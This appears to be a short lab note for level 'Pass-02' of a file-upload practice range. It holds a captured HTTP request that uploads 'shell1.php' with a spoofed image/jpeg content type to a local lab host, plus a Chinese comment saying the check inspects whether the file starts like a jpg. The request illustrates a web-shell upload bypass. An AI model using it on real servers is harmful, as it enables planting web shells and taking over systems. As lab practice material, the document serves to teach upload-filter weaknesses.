Pass-02

POST /Pass-02/index.php HTTP/1.1
Host: 192.168.237.131:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42476982026004863561737215779
Content-Length: 492
Origin: http://192.168.237.131:81
Connection: close
Referer: http://192.168.237.131:81/Pass-02/index.php
Upgrade-Insecure-Requests: 1

-----------------------------42476982026004863561737215779
Content-Disposition: form-data; name="upload_file"; filename="shell1.php"
Content-Type: image/jpeg

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判断了文件的开头是不是jpg